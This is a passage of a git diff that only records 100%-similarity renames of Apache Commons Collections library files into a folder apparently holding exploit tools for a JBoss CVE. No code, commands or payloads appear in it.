a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ArrayIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ArrayIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ArrayIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ArrayIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ArrayListIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ArrayListIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ArrayListIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ArrayListIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/CollatingIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/CollatingIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/CollatingIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/CollatingIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyListIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyListIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyListIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyListIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyMapIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyMapIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyMapIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyMapIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyOrderedIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyOrderedIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyOrderedIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyOrderedIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EntrySetMapIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EntrySetMapIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EntrySetMapIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EntrySetMapIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EnumerationIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EnumerationIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EnumerationIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/EnumerationIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/FilterIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/FilterIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/FilterIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/FilterIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/FilterListIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/FilterListIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/FilterListIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/FilterListIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/IteratorChain.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/IteratorChain.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/IteratorChain.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/IteratorChain.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/IteratorEnumeration.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/IteratorEnumeration.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/IteratorEnumeration.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/IteratorEnumeration.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ListIteratorWrapper.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ListIteratorWrapper.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ListIteratorWrapper.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ListIteratorWrapper.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/LoopingIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/LoopingIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/LoopingIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/LoopingIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ObjectArrayIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ObjectArrayIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ObjectArrayIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ObjectArrayIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ObjectArrayListIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ObjectArrayListIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ObjectArrayListIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ObjectArrayListIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ObjectGraphIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ObjectGraphIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ObjectGraphIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ObjectGraphIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ProxyIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ProxyIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ProxyIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ProxyIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ProxyListIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ProxyListIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ProxyListIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/ProxyListIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/SingletonIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/SingletonIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/SingletonIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/SingletonIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/SingletonListIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/SingletonListIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/SingletonListIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/SingletonListIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/TransformIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/TransformIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/TransformIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/TransformIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UniqueFilterIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UniqueFilterIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UniqueFilterIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UniqueFilterIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableListIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableListIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableListIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableListIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableMapIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableMapIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableMapIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableMapIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/package.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/package.html diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/AbstractKeyValue.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/AbstractKeyValue.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/AbstractKeyValue.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/AbstractKeyValue.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/AbstractMapEntry.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/AbstractMapEntry.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/AbstractMapEntry.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/AbstractMapEntry.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/DefaultKeyValue.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/DefaultKeyValue.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/DefaultKeyValue.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/DefaultKeyValue.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/DefaultMapEntry.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/DefaultMapEntry.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/DefaultMapEntry.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/DefaultMapEntry.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/MultiKey.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/MultiKey.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/MultiKey.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/MultiKey.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/TiedMapEntry.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/TiedMapEntry.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/TiedMapEntry.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/TiedMapEntry.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/package.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/keyvalue/package.html diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/AbstractLinkedList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/AbstractLinkedList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/AbstractLinkedList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/AbstractLinkedList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/AbstractListDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/AbstractListDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/AbstractListDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/AbstractListDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/AbstractSerializableListDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/AbstractSerializableListDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/AbstractSerializableListDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/AbstractSerializableListDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/CursorableLinkedList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/CursorableLinkedList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/CursorableLinkedList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/CursorableLinkedList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/FixedSizeList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/FixedSizeList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/FixedSizeList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/FixedSizeList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/LazyList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/LazyList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/LazyList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/LazyList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/NodeCachingLinkedList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/NodeCachingLinkedList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/NodeCachingLinkedList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/NodeCachingLinkedList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/PredicatedList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/PredicatedList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/PredicatedList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/PredicatedList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/SetUniqueList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/SetUniqueList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/SetUniqueList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/SetUniqueList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/SynchronizedList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/SynchronizedList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/SynchronizedList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/SynchronizedList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/TransformedList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/TransformedList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/TransformedList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/TransformedList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/TreeList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/TreeList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/TreeList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/TreeList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/TypedList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/TypedList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/TypedList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/TypedList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/UnmodifiableList.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/UnmodifiableList.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/UnmodifiableList.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/UnmodifiableList.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/package.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/list/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/list/package.html diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractHashedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractHashedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractHashedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractHashedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractLinkedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractLinkedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractLinkedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractLinkedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractMapDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractMapDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractMapDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractMapDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractOrderedMapDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractOrderedMapDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractOrderedMapDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractOrderedMapDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractReferenceMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractReferenceMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractReferenceMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractReferenceMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractSortedMapDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractSortedMapDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractSortedMapDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/AbstractSortedMapDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/CaseInsensitiveMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/CaseInsensitiveMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/CaseInsensitiveMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/CaseInsensitiveMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/CompositeMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/CompositeMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/CompositeMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/CompositeMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/FixedSizeMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/FixedSizeMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/FixedSizeMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/FixedSizeMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/FixedSizeSortedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/FixedSizeSortedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/FixedSizeSortedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/FixedSizeSortedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/Flat3Map.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/Flat3Map.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/Flat3Map.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/Flat3Map.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/HashedMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/HashedMap.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/map/HashedMap.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/HashedMap.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/IdentityMap.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/map/IdentityMap.java similarity index 100% rename from 